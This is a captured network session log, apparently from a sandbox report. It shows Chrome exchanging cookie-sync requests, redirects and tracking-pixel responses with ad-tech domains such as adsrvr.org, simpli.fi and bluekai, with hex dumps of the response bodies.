2024-05-24 22:46:11 UTC	2258	IN	HTTP/1.1 204 server: nginx date: Fri, 24 May 2024 22:46:11 GMT cache-control: no-cache x-powered-by: Undertow/1 set-cookie: EE="255938791ef4d4d26431397836a1a4e2"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:11 GMT; SameSite=None; Secure; set-cookie: udo="gAAAAAQAAAUqKLUv%252FWAqBIUaAFZuqUgQq1gHAKAIAHBXgOF%252FFEHFT%252FV5FwvgdHJcVReNGBBHRMsw8u2eCsYgC5tNcO7XTugjsM2EhPZpBWFPtpvFYGRgyw1XkgUenQKUAJQAlAAkz5%252BokUGOQYzjMgoTMu9OR3MyI1TBMgwLITXR08bJ1hyDvF11VLqaPhORR8zAHY5DvHXtkCsayU9IfymbpnlaBQ8mtwahdJ7b%252BeiPi0jx4zqHvL1w4EGcqfOj5PXR9vc%252FwL8o4gHDkJXXG0L8f8S%252FvLy8PIH%252FB6DgXUDa%252Fu6Qy3Fa0xINETigjET8e2BTroG1ty%252BFInatPeWholIS5izRlF07CIOKiZYjs0zXUYvMnxaGYe0shHTltDKNBvO6TKbJTlLtqnaQPFYbtnkzqD%252BO84gvsFI6e5alCqTm6JFvMYV0npgU2tdSxWyYs7f9zBCOulWiLjjqDVHG2KwGqjGL44jL0wjlcaYk1kmJuqJRh5nEHye0XVnE0PozAcVWRU1THWwHVxkkCisrqmqCppIQIsIg95AkD%252FN2hWDwEMQ1PKsBD%252BKDuxmue3EG2Gmyik3LKjJcxQZlg0S%252BgUfetkBb%252FLb70WKYR61zZVZmto3G27KNy2gmZ3KlnnmazeZ1nYZ5F1AMvZose8eswWqgEjnQI6jjvo2Dc%252F40bMs2GIObjePA7NO%252BTGfTOhzmXTI6m8O0zc2Th2u19YpkfwE%252FIvG%252F8h5aJlomOhT4DyaH%252Br5U1OkNUUnuq1QavS%252BWNd9NQoTi%252FxEEeAEf8RESIm%252BxeV53YY4sMszEXpQsGLzLmZosF0nLq8AuHixAe4IdokC7hfCDPRyHVqYUmqJcrw4Tayp5bVBsmWABKcGVZW3dlinZnB8UIOepNFshqxeLlv38zvJE6iqbQvIROVx [TRUNCATED] set-cookie: ud="eJxrXxzq6XKLQcHI1NTS2MLc0jA1zSTFJMXIzMTY0NjS3MLYLNEw0STVaHFZatGCpaXFqSlJh5ZU5JTkNK0uiw91jHdz9PX0iVzmnFGUn5u6AiwU5hq02NDQfEl%252BUWb6otDgxUUpaQyLSopPBR%252B%252FlgIAVAkp1A%253D%253D"; Domain=.exelator.com; Path=/; Max-Age=10368000; Expires=Sat, 21-Sep-2024 10:46:11 GMT; SameSite=None; Secure; p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA access-control-allow-credentials: true p3p: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.6	50069	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	661	OUT	GET /lj_match HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	623	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://ce.lijit.com/merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:11 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.6	50067	35.204.158.49	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	415	OUT	GET /empty.gif HTTP/1.1 Host: um.simpli.fi Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:11 UTC	487	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: image/gif Content-Length: 43 Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT Connection: close Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:11 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.6	50071	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	993	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFIAQoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp
2024-05-24 22:46:11 UTC	564	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:11 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.; expires=Sat, 24 May 2025 22:46:11 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:11 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.6	50073	52.222.149.58	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:11 UTC	675	OUT	GET /profiles_user/ProfilesuserServlet?at=20&dpi=2124307461&pcid=4F23F6C2C1D4438DAA81302CEEAB3C45&ckls=true&ci=pSxpM8lU6E&nc=false&trid=-441508172 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=pSxpM8lU6E; CSDT=UEQ6MTAwNDNfMCZVRGpidnp6; IQMID=137264047#1716590770543; intentIQCDate=1716590770537; IQPData=137264047#1716590770532#0#1716590770532; ASDT=0
2024-05-24 22:46:12 UTC	675	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Fri, 24 May 2024 22:46:12 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sun, 24 May 2026 22:46:12 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 07cb86faf6a141962da4e2d7c85db038.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG52-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: jpdjONRninSE9CkcUuk-09M2vuWNM3X8Y_qRz6zDQLUa-3OGks-r4Q==
2024-05-24 22:46:12 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.6	50077	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	851	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.
2024-05-24 22:46:12 UTC	678	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:12 GMT Content-Length: 221 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent= set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:12 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-rmKgKuT_jwQBRgBIAEoAjILCJiwja3Bk_48EAU4AVoHYmx1ZWthaWAC; expires=Sat, 24 May 2025 22:46:12 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:12 UTC	221	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.6	50072	52.70.157.54	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	634	OUT	GET /sync?pid=141&uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:12 UTC	416	IN	HTTP/1.1 204 Date: Fri, 24 May 2024 22:46:11 GMT Set-Cookie: __141_cid=4F23F6C2C1D4438DAA81302CEEAB3C45; Domain=.bfmio.com; Max-Age=31536000; Expires=Sat, 24-May-2025 18:46:12 GMT-0400; Path=/; SameSite=None; Secure Set-Cookie: __io_cid=4c15c53a17f1c59179592eaf930394444fd733e2; Domain=.bfmio.com; Max-Age=31536000; Expires=Sat, 24-May-2025 18:46:12 GMT-0400; Path=/; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.6	50079	3.75.62.37	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	614	OUT	GET /cms?partner_id=DATCS HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:12 UTC	272	IN	HTTP/1.1 302 Redirect Date: Fri, 24 May 2024 22:46:12 GMT Connection: close Server: ATS/9.1.10.112 Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58726/cms?partner_id=DATCS Content-Type: text/html Content-Language: en Content-Length: 344
2024-05-24 22:46:12 UTC	344	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 20 20 54 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 20 69 73 20 22 68 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location. The new location is "h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.6	50080	52.49.45.15	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	644	OUT	GET /map/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:12 UTC	433	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:12 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.16.250 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://bcp.crwdcntrl.net/map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45 Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.6	50081	35.204.74.118	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	667	OUT	GET /liveramp_match HTTP/1.1 Host: um.simpli.fi Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: suid=4F23F6C2C1D4438DAA81302CEEAB3C45; uid_syncd_secure=true
2024-05-24 22:46:13 UTC	633	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Fri, 24 May 2024 22:46:12 GMT Content-Type: text/html Content-Length: 142 Connection: close Location: https://idsync.rlcdn.com/419566.gif?partner_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 Expires: Thu, 23 May 2024 22:46:12 GMT Cache-Control: no-cache Strict-Transport-Security: max-age=63072000; includeSubdomains; preload X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
2024-05-24 22:46:13 UTC	142	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.6	50083	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:12 UTC	945	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsImo2Z5qqT_jwQBRgFOAFCBCICCAE.
2024-05-24 22:46:13 UTC	678	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:13 GMT Content-Length: 221 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent= set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:13 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRgBIAEoAjILCMS1iLXBk_48EAU4AVoHYmx1ZWthaWAC; expires=Sat, 24 May 2025 22:46:13 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:13 UTC	221	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.6	50082	34.242.54.113	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:13 UTC	632	OUT	GET /merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:13 UTC	557	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:13 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding Set-Cookie: ljt_reader=Itj2AQZHhmzcC7uXTQ2fVYvm; Path=/; Domain=.lijit.com; Expires=Sat, 24 May 2025 22:46:13 GMT; Max-Age=31536000;Secure;SameSite=None Expires: Fri, 20 Mar 2009 00:00:00 GMT Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Location: https://ce.lijit.com/merge?pid=2&3pid=4F23F6C2C1D4438DAA81302CEEAB3C45&dnr=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
